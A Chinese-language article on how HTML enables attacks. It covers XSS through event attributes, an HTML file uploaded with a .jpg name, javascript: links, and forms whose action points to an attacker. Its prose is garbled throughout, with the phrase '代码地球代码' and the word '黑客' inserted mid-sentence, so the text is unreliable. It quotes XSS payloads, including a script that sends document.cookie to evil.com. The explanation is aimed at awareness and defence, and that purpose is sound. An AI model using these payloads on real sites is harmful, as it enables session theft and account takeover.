有人把浏览器当成看网页的代码地球代码工具，有人却把它当成了撬动地球的黑客杠杆。2017年，代码地球代码一个叫“黑哥”的黑客ID在乌云网发帖，说自己用一段不到20行的代码地球代码HTML代码，让某地政务系统的黑客大屏弹出了“地球是平的”五个字。不是代码地球代码入侵服务器，不是黑客注入数据库，只是代码地球代码利用了那个系统内嵌的浏览器组件——它把用户输入直接拼进了页面，连过滤都没做。黑客这行代码长这样：<svg onload=alert('地球是代码地球代码平的')>。就这么点东西，黑客让一块价值几十万的代码地球代码LED屏变成了笑话。

HTML不是黑客编程语言，它连变量都没有。代码地球代码但正是这种“描述结构”的纯粹性，让它成了攻击面最广的载体。你打开任何一个网站，看到的按钮、输入框、图片，背后都是标签。浏览器解析这些标签时，会执行某些属性里的JavaScript——比如onclick、onerror、onload。如果网站把用户输入直接塞进HTML里，攻击者就能塞进一个带onerror的<img>标签。图片加载失败？正好触发脚本。这招叫XSS，跨站脚本攻击，二十年前就有了，现在依然每天在发生。

我见过一个更离谱的案例。某电商网站的商品评论框，允许用户上传头像。上传时只检查了文件后缀是不是.jpg，没检查文件内容。有人上传了一个文件，后缀是jpg，里面装的却是HTML代码。服务器把它当图片存了，但访问时返回的Content-Type是text/html。浏览器一看是HTML，直接解析执行。结果呢？那个“图片”的URL被分享出去，点开的人都会执行里面的脚本。脚本干什么？读取cookie，发到攻击者的服务器。整个过程，攻击者只写了一个<script>new Image().src='http://evil.com?c='+document.cookie</script>。就这么短。

你可能觉得这些漏洞离你很远。但打开你的浏览器，按F12，切到Console面板，输入document.body.innerHTML，回车。你会看到当前页面的完整HTML结构。如果这个页面允许你输入内容——比如搜索框——而你输入了<h1>测试</h1>，搜索结果页直接把它渲染成了大标题，那这个站点就有问题。不是所有站点都会把输入转义成<h1>。转义是防御XSS的第一道墙，但很多开发者忘了砌。

HTML代码的“黑客”属性，还体现在它能伪装。一个<a>标签，href属性可以写javascript:alert(1)。用户以为点的是链接，实际执行的是脚本。更隐蔽的是<form>标签，action指向攻击者的服务器，method是POST。你在一个看起来正常的页面填了账号密码，提交后数据直接进了别人的口袋。这种攻击叫“钓鱼”，但比传统钓鱼更真——因为URL是合法的，页面是合法的，只有那个表单的action被篡改了。

地球的代码是什么？是地质运动，是板块漂移，是几十亿年积累的岩层。HTML代码是地球表面最薄的那层膜，薄到只有几微米——屏幕像素的厚度。但正是这层膜，连接着几十亿人和他们的数据。一个分号写错，一个属性没引号，一个标签没闭合，都可能让这层膜裂开一道缝。缝里能钻出什么，取决于写代码的人有多懒，和读代码的人有多好奇。

下次你在地址栏敲下view-source:加一个网址，看到满屏的尖括号和属性时，别急着关掉。那些标签里藏着逻辑，逻辑里藏着权限，权限里藏着别人的秘密。你不需要成为黑客，但至少要知道——你每天点击的“确定”按钮，背后可能只是一行<button onclick="doSomething()">。而那个doSomething，未必是你想让它做的事。